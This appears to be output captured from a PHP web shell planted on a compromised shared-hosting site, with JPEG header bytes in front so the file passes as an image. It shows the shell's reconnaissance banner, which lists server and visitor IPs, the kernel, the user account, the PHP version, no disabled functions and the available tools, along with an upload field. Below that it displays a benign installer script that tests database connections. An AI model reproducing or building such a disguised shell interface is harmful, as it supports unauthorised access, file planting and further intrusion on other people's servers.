����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.220.224.115 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./ideyshare.name.ng/ner2/ucloud/install/ajax/ |
Upload File : |
<?php use App\Core\Database; session_start(); require_once("../settings.inc.php"); require_once('../../app/core/Database.class.php'); require_once("../functions.inc.php"); require_once("../languages.inc.php"); // pickup the post variables $database_host = $_POST['db_host'] ?? ""; $database_name = $_POST['db_name'] ?? ""; $database_username = $_POST['db_username'] ?? ""; $database_password = $_POST['db_password'] ?? ""; // prepare the response $arr = array(); $arr['status'] = 1; $arr['db_connection_status'] = 0; $arr['db_error'] = ''; // validation if (empty($database_host)) { $arr['db_error'] = lang_key("alert_db_host_empty"); } elseif (empty($database_name)) { $arr['db_error'] = lang_key("alert_db_name_empty"); } elseif (empty($database_username)) { $arr['db_error'] = lang_key("alert_db_username_empty"); } // attempt to connect to the database if (!strlen($arr['db_error'])) { // attempt to connect to the database $db = Database::getDatabase(false, false, $database_host, $database_name, $database_username, $database_password, true); $db->setNotifyType(Database::NOTIFY_TYPE_ARRAY); $dbConnection = $db->connect(); if ($dbConnection === true) { $arr['db_connection_status'] = 1; } else { $arr['db_error'] = $dbConnection['error']; } } echo json_encode($arr);